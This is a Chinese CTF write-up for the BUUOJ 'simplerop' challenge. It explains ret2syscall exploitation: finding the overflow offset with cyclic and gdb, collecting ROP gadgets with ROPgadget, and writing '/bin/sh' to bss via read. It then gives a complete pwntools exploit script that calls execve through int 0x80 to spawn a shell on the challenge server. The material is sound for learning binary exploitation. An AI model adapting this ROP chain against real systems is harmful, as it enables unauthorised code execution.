ret2syscall:利用程序的系统调用号控制进程执行getshell。
主要过程:①系统调用号存入eax
②函数参数依次存入其他寄存器
③触发int 0x80,劫持程序执行
方法工具:ROPgadget
1.检查文件,32位程序,NX打开,无canary和地址随机pie。本题思路是利用系统调用号来ret2sys call得到shell。
2.read函数标准输入v4缓冲区存在栈溢出,利用此处为rop起点,显示偏移为0x14,但是不对,需要在gdb调试下看。
首先输入cyclic 150显出测试字符复制,在main下断点(直接read也可以),按r跑起来,next到read_addr上,按n后再粘贴字符回车,按c找到溢出点,进行偏移测试。(之前文章也有记载)
输入cyclic -l 0x61616169(或iaaa)得到偏移为32,即0x20。
3.虚拟机中输入命令:
ROPgadget --binary simplerop --only 'pop|ret' | grep 'eax'
ROPgadget --binary simplerop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary simplerop --only 'int'
eax要传入execve的系统调用号,因此要单独找一条pop指令,接下来依次ebx,ecx,edx,确保指令含有这三个寄存器。
4.此题找不到bin/sh地址,但有read函数,因此重点是要利用read把bin_addr写入bss段(可读可写的一段地址,ida中随即找一处即可)。利用以下脚本:
from pwn import*
io = remote('nodeX.buuoj.cn',XXXXX)
#io = process('./simplerop')
elf = ELF('./simplerop')
read_addr = elf.sym['read']
print(hex(read_addr))
eax_addr = 0x080bae06
edx_ecx_ebx_addr = 0x0806e850
int_0x80_addr = 0x080493e1
bin_addr = 0x080EB5A4 #随机找了一处bss空白地址
payload = b'a'*0x20 + p32(read_addr)
payload += p32(edx_ecx_ebx_addr) + p32(0)
payload += p32(bin_addr) + p32(8)
此处注意:利用相关函数性质比如写入时,参数顺序不必和寄存器顺序一致,而在下一段系统调用时要匹配。
此处疑问:最后一行read写入的bin_addr由于32位程序字长不应该是4吗?
5.完整wp如下:欢迎各位师傅指正!
from pwn import*
io = remote('nodeX.buuoj.cn',XXXXX)
#io = process('./simplerop')
elf = ELF('./simplerop')
read_addr = elf.sym['read']
#print(hex(read_addr))
eax_addr = 0x080bae06
edx_ecx_ebx_addr = 0x0806e850
int_0x80_addr = 0x080493e1
bin_addr = 0x080EB5A4
payload = b'a'*0x20 + p32(read_addr)
payload += p32(edx_ecx_ebx_addr) + p32(0)
payload += p32(bin_addr) + p32(8)
payload += p32(eax_addr) + p32(0xb)#eax对应execve调用,是11(0xb)
payload += p32(edx_ecx_ebx_addr) + p32(0)
payload += p32(0) + p32(bin_addr) +p32(int_0x80_addr)#注意寄存器和参数顺序,ebx给到bin_addr,其他都为0
io.sendline(payload)
io.sendline('/bin/sh\x00')#发送/bin/sh\x00,得到shell
io.interactive()